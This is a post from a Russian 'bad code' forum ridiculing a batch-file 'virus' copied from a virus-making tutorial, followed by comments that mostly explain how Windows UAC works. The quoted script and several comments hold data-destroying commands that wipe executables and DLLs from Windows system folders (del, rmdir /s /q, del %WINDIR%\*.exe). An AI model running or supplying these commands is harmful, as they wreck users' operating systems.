1. Куча / Говнокод #15552

    +131

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    Cd\ 
    Cd C: 
    Сd winMe 
    Del *.exe 
    Del *.ini 
    Del *.com 
    Cd\ 
    Cd win98 
    Cd system 
    Del *.dll 
    Del *.exe

    Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
    Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
    (C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8

    Запостил: gost, 22 Марта 2014

    Комментарии (93) RSS

    • На дату смотрел?

      Откуда ты такой взялся? Дружок стертора?
      Ответить
    • > нельзя удалять сразу папку с файлами,
      rmdir /s /q

      P.S. В досе тоже что-то было, но я не помню название тулзы.
      Ответить
    • >sozdanie_virusov
      dalshe ne chital
      Ответить
      • v_bloknote - социальная сеть для кодеров-мазохистов.
        Ответить
      • >dalshe ne chital
        Дальше комменты уже
        Ответить
        • Неправда! Дальше _v_bloknote/10-1-0-8, а потом только комменты.
          Ответить
          • Неправда!! Дальше /kak_sozdat_virus_v_bloknote/10-1-0-8, а только потом неуважение к пишущим комменты.
            Ответить
    • интересно, а если я винду установлю в c:\Mustdie я сразу клевый потсан, а не один из 95% ламеров?
      Ответить
      • Нет. http://govnokod.ru/15547
        Ответить
        • это был сарказм. есть переменная %WINDIR%, которая ведет в папку, где установлена венда, которая была загружена. поэтому del %WINDIR%\*.exe и не надо перебирать папки
          Ответить
      • Ты будешь клевым пацаном, если будешь просто пользоваться спермеркой, где такие действия сразу вызовут окошко с запросом прав.
        Ответить
        • А потом ты, как и положено клёвому посону, не читая сообщения нажмешь кнопочку "разрешить"...

          P.S. Ну хотя виндоко-ко-консольные проги вроде бы не умеют просить повышение прав. Поэтому все-таки ничего не произойдет, и удаления тупо сфейлятся, если данный код сдуру не запустить с правами админа через контекстное меню.
          Ответить
          • ну не то, чтобы не умеют... вообще там можно сделать, чтобы приложение запускалось только с правами администратора.
            http://stackoverflow.com/questions/8139480/c-console-application-prompt-run-as-admin-to-run-as-administrator
            Ответить
            • А оно под админом разве не матерится на действия типа снести с:\шиндовс?
              Ответить
          • А я не в курсе, кто просит прав - прога, или шинда, когда у проги на какое-то действие не хватает прав?
            Ответить
            • Блокнот. А без блокнота вирус не написать. :(
              Ответить
            • если я правильно понимаю, что с UAC весь софт запускается в изолированной среде, и не имеет определенных прав. и если я так же правильно понял, то для консольных приложений необходимо указывать манифест (в visual studio по крайней мере), что для runtime приложения необходимы привилегии администратора. и соответственно при запуске, он их сразу же запрашивает.
              Ответить
              • Напоминает "папку безопасной среды", в старых версиях антивируса кашперского: с понтом, песочница, для запуска потенциально опасных файлов, чтобы они не могли навредить системе. Я смеха ради открыл в такой папке троян, и он удалил пол-системы. ;)
                Безопасность,такая безопасность.
                Ответить
                • Еще под 9х поди? Всего лишь говорит о том, что попытка эмулировать механизмы защиты оси с серверным ядром заранее обречены на провал.
                  Ответить
              • Я так понимаю (хотя висты/спермы только не знаю), что прога запускается под непривелегированным пользователем и при попытке сделать что-то, на что она не имеет прав, вылазит окно уак.
                Ответить
                • Неа. Многие проги тупо показывают ошибку. Т.е. сам по себе UAC не вылезет...

                  Кстати, если переименовать прогу во что-то начинающееся с setup, update или install - спермерка попросит повышения прав при ее запуске.
                  Ответить
                  • А когда он вообще вылазит?
                    Ответить
                    • Да хуй знает, я не изучал эту проблему.

                      Вроде бы если в манифесте проги написано, что ей нужны административные права. Или если она называется setup/update/install. Еще, скорее всего, сама прога может вызвать какую-то апишку для повышения прав (вспомни щиты на некоторых действиях в некоторых окошках панели управления).
                      Ответить
                      • Так не понел, суть UAC, получается, в том, что его самому можно вызвать? Я-то думал, что смысл в том, чтобы не держать проги все время под админом, а додавать права при надобности, типа sudo.
                        Ответить
                        • > самому можно вызвать
                          Самому это кому? Юзеру? Разрабу? Одмину?
                          Ответить
                          • Самому это uac_give_more_privilegies_biatch()
                            Ответить
                            • Тотал коммандер же как то это делает. Очевидно, есть api для этого.
                              Ответить
                            • А в чем проблема то? Почему прога не может попросить повышения прав на некоторые действия (но не на все)?

                              When the application detects that one of these buttons has been selected, it has the following two choices:
                              - The application launches a second program using ShellExeucute() to perform the administrative task. This second program would be marked with a requestedExecutionLevel of requireAdministrator, thus causing the user to be prompted for approval. This second program would be running with a full administrative access token and would be able to perform the desired task.
                              - The application launches a COM object using CoCreateInstanceAdmin(). This API would launch the COM object with a full administrative access token following approval and this COM object would be able to perform the desired task.


                              http://msdn.microsoft.com/en-us/library/bb756990.aspx

                              Т.е. сам код все-таки походу не получит дополнительных прав.
                              Ответить
                              • А вот здесь есть таблички, показывающие когда вылезает окно UAC при запуске программы: http://msdn.microsoft.com/en-us/library/bb756929.aspx
                                Ответить
                              • Ну т.е. если подытожить:

                                - Окошко UAC может вылезать при запуске проги, если она помечена как требующая прав админа.
                                - Окошко UAC может вылезать при создании COM объекта от имени админа. Здесь, как я понимаю, этот объект будет крутиться в отдельном процессе, имеющем права одмина. COM с таким легко справляется.

                                Походу все.

                                P.S. Блеать, почему линупсоид по призванию и по профессии пытается разобраться и объяснить вантузятникам, как работает ихний UAC?!
                                Ответить
                                • Помню, в висте винрар требовал подтверждение при распаковке каждого файла из архива, если его распаковывали куда-то не туда.
                                  Ответить
                                • Значит, нормальные вендоблядки тут не тусуются. Алсо, см http://govnokod.ru/15552#comment222453
                                  Ответить
                                • > P.S. Блеать, почему линупсоид по призванию и по профессии пытается разобраться и объяснить вантузятникам, как работает ихний UAC?!

                                  Это лучше, чем громко кричать на площади "Венда - говно", имея знания о ней, полученные в прошлом веке.
                                  Ответить
                                  • Ох лол, у нас один препод был, преподавал software engineering и unix. Короче, я не знаю, что он еще преподавал, но в том, что он преподавал нам, он по каким-то причинам остановился в развитии где-то в середине 90-х (и это при том, что у нас в институтах преподы регулярно уходят на семестр работать в бизнес, чтобы не отрываться от реальности). Так у него и винда в ACL не умела, и юнипс умел только в rwx. Рассказывали, что он как-то на лекции не справился с ебунтой и в конце концов позвал эникея.
                                    Ответить
                              • Вопрос не в этом. Вопрос в том, что будет с прогой, если она захочет сделать что-то, требующее дополнительных прав?
                                Ответить
                                • Отлуп получит да и все. API'шка вернет access denied.
                                  Ответить
                                  • bormand, если прочесть твои посты, то уак нужен только для того, чтобы обрабатывать манифесты.
                                    Ответить
                                    • > то уак нужен только для того, чтобы обрабатывать манифесты
                                      Манифест нужен только для того, чтобы в XP и выше кнопочки были с нативной темой, а не в стиле 98й винды.
                                      Ответить
                                    • > то уак нужен только для того, чтобы обрабатывать манифесты
                                      Ну а что я напишу, если оно так и есть? :) Ну вот COM объект можно создать с запросом UAC. А все остальное - одна строча в манифесте.
                                      Ответить
                                • заломает ручки, и расплачется.
                                  Ответить
                                • А если она захочет, например, записать в program files?
                                  Ответить
                                  • Ну судя по табличкам будет следующее:
                                    - если манифеста нет (т.е. это старая прога), то запись виртуализуется куда-то в недра documents & settings, и другие юзеры ее не увидят. Но работать будет.
                                    - если в манифесте написано asInvoker, и запускали не с правами админа - тупо вернет ошибку открытия файла. Ибо нехуй.
                                    Ответить
                  • Проверил, переименовал прогу в setup_install, запустилась без криков, но после закрытия образовалось вот такое чудо говно:
                    http://prntscr.com/341rx8
                    Ответить
                    • а в Свойствах че понаписано? (вкладка Подробно)
                      Ответить
                    • Ну х.з. Я помню, что у нас баговал updater.exe как раз из-за его имени. Не видел подключений к сетевому диску и т.п. как раз из-за того, что работал под админом. Но UAC на том компе был отключен, так что я не помню, появлялось ли окно.

                      P.S. Прога старая? В манифесте нету случаем requestedExecutionLevel?
                      Ответить
                      • Прога писана мной, C#, VS2010, пара десятков строк говнокода, манифест не трогался, без переименования запускается как обычно.
                        Ответить
                        • > C#, VS2010
                          Вижуалка свежая, в манифест всяко добавляет requestedExecutionLevel... Можешь посмотреть? Ну и для полноты картины попробовать выпилить эту строчку оттуда, и еще разок запустить.
                          Ответить
                          • тебе нужн ресхакер. поищи в хуяндексех
                            Ответить
                            • упс
                              Ответить
                            • Зачем ему ресхакер, если у него есть исходники проги, и там, скорее всего, этот манифест просто валяется в проекте в виде файла?
                              Ответить
                          • <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
                            <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
                            <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
                            <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
                            <security>
                            <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
                            <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
                            </requestedPrivileges>
                            </security>
                            </trustInfo>
                            </assembly>
                            Ответить
                            • Ага, вставляет по дефолту значит. Если убрать ноду с requestedPrivileges и переименовать прогу в setup.exe, то, по идее, должен появиться запрос на повышение.
                              Ответить
                    • http://technet.microsoft.com/en-us/library/cc709628%28WS.10%29.aspx

                      Раздел Installer Detection Technology.

                      P.S. Анонимб aka s-a--m, вот тебе как раз полная и подробная статья про UAC. Наслаждайся ;)
                      Ответить
    • да, ведро95 давало удалить себя.
      а виста сырая - внезапно - делало это по команде голосом )
      Ответить
    • Он стал доставать из пакета вещи. Это были брендовые джинсы, и Он примерно представлял, сколько они стоят: кроме того, две чёрные майки, две чёрные рубашки, кожаная куртка и "казаки". Всё было подобрано так, как будто это Он всё выбирал. Неожиданно настроение испортилось.
      Ответить

    Добавить комментарий